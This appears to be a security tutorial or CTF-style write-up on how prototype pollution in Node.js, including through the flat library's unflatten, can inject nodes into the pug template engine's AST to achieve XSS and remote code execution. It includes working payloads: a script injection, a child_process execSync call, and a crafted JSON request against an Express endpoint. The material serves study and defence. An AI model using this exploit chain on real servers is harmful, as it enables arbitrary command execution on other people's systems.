What is a Template Engine#
Commonly used template engines in JS web development include ejs
, pug
, and handlebars
.
Function: Dynamically render HTML code and create reusable page structures.
ejs
Template Usage
// Install EJS module: npm install ejs
// Import EJS module
const ejs = require('ejs');
// Define template
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// Render template
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars
Template Usage
// Install Handlebars module: npm install handlebars
// Import Handlebars module
const handlebars = require('handlebars');
// Define template
const template = `
<h1>Hello, {{name}}!</h1>
`;
// Compile template
const compiledTemplate = handlebars.compile(template);
// Render template
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug
Template Usage
// Install Pug module: npm install pug
// Import Pug module
const pug = require('pug');
// Define template
const template = `
h1 Hello, #{name}!
`;
// Compile template
const compiledTemplate = pug.compile(template);
// Render template
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
How Template Engines Work#
Lexical Analysis -> Syntax Analysis -> Code Generation
However, during the processing of the syntax tree, if there is a prototype chain pollution, the AST tree can be modified arbitrarily, which can affect the generated code and ultimately achieve RCE (Remote Code Execution).
pug template AST injection#
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
When executing fn({msg: 'It works'});
, it essentially enters a function.
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
Analysis of AST Injection Principles#
Syntax Tree Structure#
pug parses h1= msg
, generating the following syntax tree structure:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
After generating the syntax tree, walkAst
is called to execute the syntax tree parsing process, sequentially judging the type of each node, as shown in the following code:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // Note here
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
Syntax Tree Execution Order#
Taking the generated syntax tree structure as an example, the parsing order is:
- Block
- Tag
- Block
- Code
- …?
Note that during the 4th step, when parsing node.Type
as Code
, the following code will be executed:
case 'Code':
case 'While':
if (ast.block) { // Note here
ast.block = walkAST(ast.block, before, after, options);
}
- Check if the
ast.block
property exists; here,ast
refers to the current AST syntax tree node. - If it exists, continue to recursively parse the block.
Combining Prototype Chain Pollution#
If there is a prototype chain pollution vulnerability, allowing:
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
Then ast.block
will access ast.__proto__.block
, which is the property of Object.prototype.block
.
At this point, the code output results in XSS.
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE#
We know that pug essentially compiles a piece of code, such as h1 =msg
, into a piece of JS code, which is actually generating a syntax tree + new Function
.
Therefore, if we can insert nodes through AST Injection and make them executable code, we can achieve remote code execution.
Pug has the following code:
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
Thus, we can achieve RCE through AST Injection + Prototype Pollution.
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
Attack Example#
A web service developed with express, one of the CGIs is as follows:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
Running locally on port 1337:
Prototype Chain Pollution#
Note this line of code:
const { song } = unflatten(req.body);
The unflatten
library has a prototype chain pollution vulnerability.
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST Injection#
Note this line of code:
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
Combining prototype chain pollution, we can achieve RCE:
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // Can execute any command
}
}